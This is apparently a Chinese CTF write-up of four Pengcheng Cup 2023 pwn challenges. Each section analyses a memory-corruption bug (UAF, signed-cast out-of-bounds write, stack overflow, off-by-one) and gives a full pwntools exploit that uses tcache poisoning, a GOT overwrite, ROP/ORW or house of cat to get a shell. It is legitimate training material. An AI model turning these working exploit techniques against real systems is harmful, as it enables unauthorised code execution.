0%

鹏程杯CTF2023

atuo_coffee_sale_machine

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b65a1033a56d36412b5e4993b0c7f4f4f2e685bf, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Partial RELRO,Canary,NX

漏洞分析

题目维护了两个数组 copy_left_coffeeleft_coffee,分别存放 user 和 root 状态下的数据

大多数函数在执行之前都会先根据当前状态进行切换,但 change_default 没有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
show_list();
puts("input the id you want to change");
printf(">>>");
read(0, buf, 4uLL);
id = atol(buf) - 1;
if ( id < 3 )
{
puts("input which coffee you want to change");
printf(">>>");
read(0, buf, 4uLL);
index = atol(buf) - 1;
if ( index < 5 || copy_left_coffee[id][index] )
{
puts("input your content");
read(0, copy_left_coffee[id][index], 0x80uLL);
puts("done");
update(2);
}
else
{
puts("invalid coffee");
}
}

这意味着在 user 状态下释放 chunk 时,数据不会同步到 root 状态,这就造成了 UAF

入侵思路

程序中只有一个地方可以用来泄露:

1
2
3
4
5
6
7
for ( i = 0; i <= 2; ++i )
{
if ( coffee_list[i].num )
printf("%d.%s:%d\n", (unsigned int)(i + 1), coffee_list[i].name, (unsigned int)coffee_list[i].num);
else
printf("%d.%s:SOLD OUT!\n", (unsigned int)(i + 1), coffee_list[i].name);
}

劫持 tcachebin 为 coffee_list 就可以泄露 libc_base

最后劫持 tcachebin 为 free_hook,写入 system 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x401CE9\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">>>",str(op))

def admin():
cmd(0x1145)
sla("password","just pwn it")

def edit(id,index,data):
cmd(2)
sla("change",str(id))
sla("change",str(index))
sa("content",data)

def add(id):
cmd(1)
sla(">>>",str(id))

def buy(id,data=""):
cmd(1)
sla("want to buy",str(id))
if(data == ""):
sla("Y/N","N")
else:
sla("Y/N","Y")
sa("coffee",data)

#debug()
coffee_list_addr = 0x4062f0

for i in range(5):
buy(1)

admin()
add(0)
cmd(3)

for i in range(2):
buy(1)

admin()
edit(1,7,p64(coffee_list_addr))
add(1)
add(1)
add(1)
cmd(3)

for i in range(3):
buy(2)
buy(1)
admin()
edit(1,2,p16(0x7680))
cmd(3)
cmd(2)
ru("================")
ru("1.")

leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = leak_addr - 0x1ebbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("free_hook >> "+hex(free_hook))
success("system >> "+hex(system))

admin()
edit(2,3,p64(free_hook))
add(1)
add(1)
edit(1,5,p64(system))
cmd(3)

buy(1,"/bin/sh\x00")

p.interactive()

6502_proccessor

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
1
2
3
4
5
6
6502_proccessor: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6c78b755035efbfcec3230038685158aefa0d8cb, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Partial RELRO,Canary,NX,PIE

程序分析

本题目实现了一个 6502 CPU 指令集的 VM

6502 CPU 有3个8位寄存器:regA(累加器),regX(X变址寄存器),regY(Y变址寄存器)

题目中所有指令都由全局数组 lookup 进行管理,该数组的每个条目都被用于表示一个指令,其结构如下:

1
2
3
4
5
6
00000000 Node struc ; (sizeof=0x20, mappedto_18)
00000000 name dq ?
00000008 code2 dq ? ; offset
00000010 code1 dq ? ; offset
00000018 flag dq ?
00000020 Node ends

每个指令结构体中都有两个函数,一个表示该指令的操作,另一个表示该指令的寻址方式

要利用的指令操作如下:

1
2
3
4
5
6
7
8
__int64 LDA() /* 读取(从内存读到寄存器) */
{
fetch();
regA = fetched;
set_flag(1u, fetched == 0);
set_flag(7u, (unsigned __int8)regA >> 7);
return 1LL;
}
1
2
3
4
5
__int64 STA() /* 写入(从寄存器写入到内存) */
{
cpu_write(addr_abs, regA);
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 ADC() /* 直接控制regA */
{
__int16 v0; // bx
unsigned __int16 v2; // [rsp+Eh] [rbp-12h]

fetch();
v0 = (unsigned __int8)regA + (unsigned __int8)fetched;
v2 = v0 + (unsigned __int8)cpu_extract_sr(0);
set_flag(0, v2 > 0xFFu);
set_flag(1u, (unsigned __int8)v2 == 0);
set_flag(6u, ((unsigned __int8)~(regA ^ fetched) & (unsigned __int8)(regA ^ v2) & 0x80) != 0);
set_flag(7u, (v2 & 0x80) != 0);
regA = v2;
return 1LL;
}

要利用的寻址操作如下:

1
2
3
4
5
6
7
8
9
10
__int64 IZX() /* 基于regX的间接寻址 */
{
char v1; // [rsp+Ah] [rbp-6h]
__int16 v2; // [rsp+Ch] [rbp-4h]

v1 = cpu_fetch(cpu);
v2 = (unsigned __int8)cpu_fetch((unsigned __int8)(regX + v1));
addr_abs = ((unsigned __int8)cpu_fetch((unsigned __int8)(regX + v1 + 1)) << 8) | v2;
return 0LL;
}

漏洞分析

函数 write_mem 有负数溢出漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall write_mem(unsigned __int16 a1, char a2)
{
if ( a1 > 0xFFu )
{
if ( a1 > 0x1FFu )
{
if ( a1 <= 0xFFF9u )
mem_ptr[(__int16)(a1 - 512) + 518] = a2;
else
mem_ptr[a1 - 0xFBFA] = a2;
}
else
{
mem_ptr[a1] = a2;
}
}
else
{
mem_ptr[a1] = a2;
}
return 0LL;
}
  • 注意 (__int16)(a1 - 512) 这段伪代码,这里有一个强制类型转换

虽然 IDA 分析 a1 是 unsigned __int16,但从汇编指令来看可以分析出问题:

1
2
3
4
5
6
7
.text:00000000000059E4 48 8B 15 0D 67 20 00          mov     rdx, cs:mem_ptr
.text:00000000000059EB 0F B7 45 FC movzx eax, [rbp+var_4]
.text:00000000000059EF 66 2D 00 02 sub ax, 200h
.text:00000000000059F3 98 cwde
.text:00000000000059F4 48 98 cdqe
.text:00000000000059F6 0F B6 4D F8 movzx ecx, [rbp+var_8]
.text:00000000000059FA 88 8C 02 06 02 00 00 mov [rdx+rax+206h], cl
  • 实现强制类型转换的汇编代码为:cwde cdqe(符号扩展)
  • 因此 a1 应该是16位的有符号数

同样的漏洞也出现在 get_mem 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int8 __fastcall get_mem(unsigned __int16 cpu)
{
if ( DEBUG )
fprintf(stderr, "(get_mem) reading at: 0x%X\n", cpu);
if ( cpu <= 0xFFu )
return mem_ptr[cpu];
if ( cpu <= 0x1FFu )
return mem_ptr[cpu];
if ( cpu > 0xFFF9u )
return mem_ptr[cpu - 0xFBFA];
if ( DEBUG )
fprintf(stderr, "(get_mem) parsed: 0x%X\n", (unsigned int)cpu - 512);
return mem_ptr[(__int16)(cpu - 0x200) + 0x206];
}

入侵思路

本题目的核心点就是利用程序实现的 6502 CPU 指令来覆盖 puts_got 为 system

可以先使用 LDX 和 STX 往 regX 中写入 puts_got 的偏移,然后用 LDA 进行读取,计算步骤如下:

1
2
pwndbg> distance $rebase(0x20A018) 0x559fe1e0c120
0x559fe1e0a018->0x559fe1e0c120 is 0x2108 bytes (0x421 words)
1
2
In [5]: hex(0x10000-0x2108-0x206+0x200)
Out[5]: '0xdef2'

测试样例如下:

1
2
3
4
5
6
7
payload = b''
payload += LDX(0xf2)
payload += STX(0)
payload += LDX(0xde)
payload += STX(1)
payload += LDX(0) # LDX(置空regX)
payload += LDA(0) # LDA(读取puts@got)
1
0x559fe1c05958    movzx  eax, byte ptr [rdx + rax + 0x206] <puts@got.plt>

读取 &puts 的值之后,我们可以使用 ADC 指令将 &puts 加为 &system:

1
2
pwndbg> distance &puts &system
0x7f1686641970->0x7f1686610420 is -0x31550 bytes (-0x62aa words)

最后用同样的方法往 regX 中写入 puts_got 的偏移,接着就可以使用 STA 覆盖 puts_got

每次覆盖1字节,连续执行3次后就可以将 puts 修改为 system

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './6502_proccessor1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x6919)\n")
pause()

def cmd(op):
sla(">",str(op))

def LDX(data):
payload = p8(0xa2) + p8(data)
return payload

def STX(offset):
payload = p8(0x86) + p8(offset)
return payload

def LDA(offset):
payload = p8(0xa1) + p8(offset)
return payload

def STA(offset):
payload = p8(0x81) + p8(offset)
return payload

def ABC(data):
payload = p8(0x65) + p8(data)
return payload

"""
In [5]: hex(0x10000-0x2108-0x206+0x200)
Out[5]: '0xdef2'
"""

#debug()
payload = b''
payload += LDX(0xf2)
payload += STX(0)
payload += LDX(0xde)
payload += STX(1)
payload += LDX(0)
payload += LDA(0)

payload += LDX(0xb0)
payload += STX(0)
payload += ABC(0)

payload += LDX(0xf2)
payload += STX(0)
payload += LDX(0xde)
payload += STX(1)
payload += LDX(0)
payload += STA(0)

payload += LDX(0xf3)
payload += STX(0)
payload += LDX(0xde)
payload += STX(1)
payload += LDX(0)
payload += LDA(0)

payload += LDX(0xea)
payload += STX(0)
payload += ABC(0)

payload += LDX(0xf3)
payload += STX(0)
payload += LDX(0xde)
payload += STX(1)
payload += LDX(0)
payload += STA(0)

payload += LDX(0xf4)
payload += STX(0)
payload += LDX(0xde)
payload += STX(1)
payload += LDX(0)
payload += LDA(0)

payload += LDX(0xfc)
payload += STX(0)
payload += ABC(0)

payload += LDX(0xf4)
payload += STX(0)
payload += LDX(0xde)
payload += STX(1)
payload += LDX(0)
payload += STA(0)

sla("length:",str(len(payload)))
sa("code",payload)
sl("/bin/sh")

p.interactive()

silent

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.5) stable release version 2.27.
1
2
3
4
5
6
silent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=178287750053d8eedf914be6f97e8ab65e812b1b, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,NX
1
2
3
4
5
6
7
8
9
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

漏洞分析

栈溢出:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[64]; // [rsp+10h] [rbp-40h] BYREF

init_seccomp();
alarm(0x1Eu);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
read(0, buf, 0x100uLL);
return 0;
}

入侵思路

首先我们需要一个 magic gadget:

1
2
3
4
5
6
➜  pwn2 ROPgadget --binary silent --depth 600 | grep "rbp - 0x3d"
0x0000000000400787 : add byte ptr [rbp - 0x3d], bl ; nop word ptr [rax + rax] ; mov esi, 0x601010 ; push rbp ; sub rsi, 0x601010 ; mov rbp, rsp ; sar rsi, 3 ; mov rax, rsi ; shr rax, 0x3f ; add rsi, rax ; sar rsi, 1 ; je 0x4007c8 ; mov eax, 0 ; test rax, rax ; je 0x4007c8 ; pop rbp ; mov edi, 0x601010 ; jmp rax
0x00000000004007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x00000000004007e3 : add eax, 0x20084f ; add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x00000000004007e6 : and byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x00000000004007e1 : inc esi ; add eax, 0x20084f ; add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret

下面这段 gadget 是通过指令错位得来的:

1
0x00000000004007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
  • [rbp - 0x3d] 中的数据加上 ebx
  • 由于我们可以控制 rbp,因此这段 gadget 实现了 WAA

核心思路就是覆盖 stdout 上遗留的 libc_addr 为 puts,完成泄露以后再覆盖回来写循环

下一次执行 main 就可以写入 ORW 链了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './silent1'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x4008FD\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

csu_front_addr=0x400940
csu_end_addr=0x40095A

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call(只能是got表地址)
# rdx=r15d
# rsi=r14
# rdi=r13
# csu(0, 1, fun_got, rdi, rsi, rdx, last)
payload = b""
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
return payload

magic_addr = 0x00000000004007e8
pop_rbp = 0x0000000000400788
libc_start_main_addr = 0x600FF0
stdout = 0x601020
main_addr = 0x400879
start_addr = 0x400720
bss_addr = 0x601020 + 0x200
level_ret = 0x4008FC
level_ret = 0x4008FC

payload = b"a"*0x40+b"b"*0x8
payload += p64(csu_end_addr)+p64(0xffffffffffc94210)+p64(stdout+0x3d)+p64(0x1b5ef80+stdout)+p64(libc_start_main_addr)+p64(0)+p64(0)
payload += p64(magic_addr)
payload += p64(pop_rbp) + p64(0xffffffffffc94210+1)
payload += p64(csu_front_addr)
payload += b'a' * 0x8
payload += p64(0x36bdf0)
payload += p64(stdout+0x3d)
payload += p64(0)*4
payload += p64(magic_addr)
payload += p64(start_addr)

success("payload len >> "+hex(len(payload)))
sl(payload)

leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x21ba0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

pop_rdi_ret = libc_base + 0x000000000002164f
pop_rsi_ret = libc_base + 0x0000000000023a6a
pop_rdx_ret = libc_base + 0x0000000000001b96

open_libc = libc_base + libc.sym["open"]
read_libc = libc_base + libc.sym["read"]
write_libc = libc_base + libc.sym["write"]

payload = b"a"*0x40+b"b"*0x8
# read(0, bss_addr, 0x30)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x30)
payload += p64(read_libc)
# open(bss_addr,0)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(open_libc)
# read(3,bss_addr,0x60)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rdx_ret) + p64(0x50)
payload += p64(read_libc)
# write(1,bss_addr,0x60)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(write_libc)
success("payload len >> "+hex(len(payload)))

#debug()
sleep(1)
sl(payload)

sleep(1)
p.send("./flag")

p.interactive()

babyheap

1
GNU C Library (Ubuntu GLIBC 2.38-1ubuntu6) stable release version 2.38.
1
2
3
4
5
6
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6b74874314aed94f7f0bb37f33a1aace975e2491, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

dele show edit 中的 chunk_listsize_list 有溢出:

1
2
3
4
5
6
7
8
9
if ( index < 0x11 )
{
if ( chunk_list[index] )
{
free(chunk_list[index]);
chunk_list[index] = 0LL;
size_list[index] = 0;
}
}

有 off-by-one 漏洞:

1
2
3
4
5
6
7
8
for ( i = 0; i < size; ++i )
{
read(0, &code, 1uLL);
if ( code == 0xA )
break;
buf[i] = code;
}
buf[i] = 0;

入侵思路

利用 off-by-one 可以打 unlink attack,进而泄露 heap_base 和 libc_base:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
ru("easier\n")
leak_addr = eval(ru("\n"))
heap_base = leak_addr - 0x2a0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

fake_heap_addr = heap_base + 0x2c0
payload = p64(0)+ p64(0xc61)
payload += p64(fake_heap_addr+0x18)+p64(fake_heap_addr+0x20)
payload += p64(0)+p64(0)
payload += p64(fake_heap_addr)

add(0x428,payload) #0
add(0x428,"a"*0x10) #1
add(0x408,"a"*0x10) #2
add(0x4f8,"a"*0x10) #3
add(0x408,"a"*0x10) #4
add(0x408,"a"*0x10) #5
add(0x408,"a"*0x10) #6

edit(2,0x408,b"b"*0x400+p64(0xc60))

dele(3)
add(0x418,"c"*8)
add(0x428,"c"*8)
add(0x408,"c"*8)
dele(1)
add(0x500,"c"*8)

show(7)
ru("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x1ff0f0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

接下来就可以劫持 tcache,进而劫持 IO_list_all

最后打 house of cat 就可以了(这里需要整理一下堆风水,以便 /bin/sh 的写入)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './babyheap1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p,"")
gdb.attach(p,"b *$rebase(0x1729)\n")
#pause()

def cmd(op):
sla(">>",str(op))

def add(size,data):
cmd(1)
sla("size",str(size))
sla("name",data)

def edit(index,size,data):
cmd(2)
sla("index",str(index))
sla("size",str(size))
sla("name",data)

def show(index):
cmd(3)
sla("index",str(index))

def dele(index):
cmd(4)
sla("index",str(index))

#debug()
ru("easier\n")
leak_addr = eval(ru("\n"))
heap_base = leak_addr - 0x2a0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

fake_heap_addr = heap_base + 0x2c0
payload = p64(0)+ p64(0xc61)
payload += p64(fake_heap_addr+0x18)+p64(fake_heap_addr+0x20)
payload += p64(0)+p64(0)
payload += p64(fake_heap_addr)

add(0x428,payload) #0
add(0x428,"a"*0x10) #1
add(0x408,"a"*0x10) #2
add(0x4f8,"a"*0x10) #3
add(0x408,"a"*0x10) #4
add(0x408,"a"*0x10) #5
add(0x408,"a"*0x10) #6

edit(2,0x408,b"b"*0x400+p64(0xc60))

dele(3)
add(0x418,"c"*8)
add(0x428,"c"*8)
add(0x408,"c"*8)
dele(1)
add(0x500,"c"*8)

show(7)
ru("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x1ff0f0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

dele(4)
dele(5)
dele(2)

io_list_all = libc_base + 0x1ff6a0
key = (heap_base + 0xb20)>>12
success("io_list_all >> "+hex(io_list_all))
success("key >> "+hex(key))

libc_system = libc_base + libc.sym["system"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
success("_IO_wfile_jumps >> "+hex(_IO_wfile_jumps))
success("libc_system >> "+hex(libc_system))

next_chain = 0
fake_io_addr = heap_base + 0x2d0 - 0x10
payload_addr = heap_base
flag_addr = heap_base

fake_IO_FILE = b"/bin/sh\x00" #_flags=rdi
fake_IO_FILE += p64(0)*5
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(payload_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE += p64(libc_system)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(flag_addr) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

edit(8,0x8,p64(io_list_all ^ key))
add(0x400,"d"*8)
add(0x400,p64(fake_io_addr))

edit(0,8,"/bin/sh\x00")
edit(3,len(fake_IO_FILE),fake_IO_FILE)

cmd(5)

p.interactive()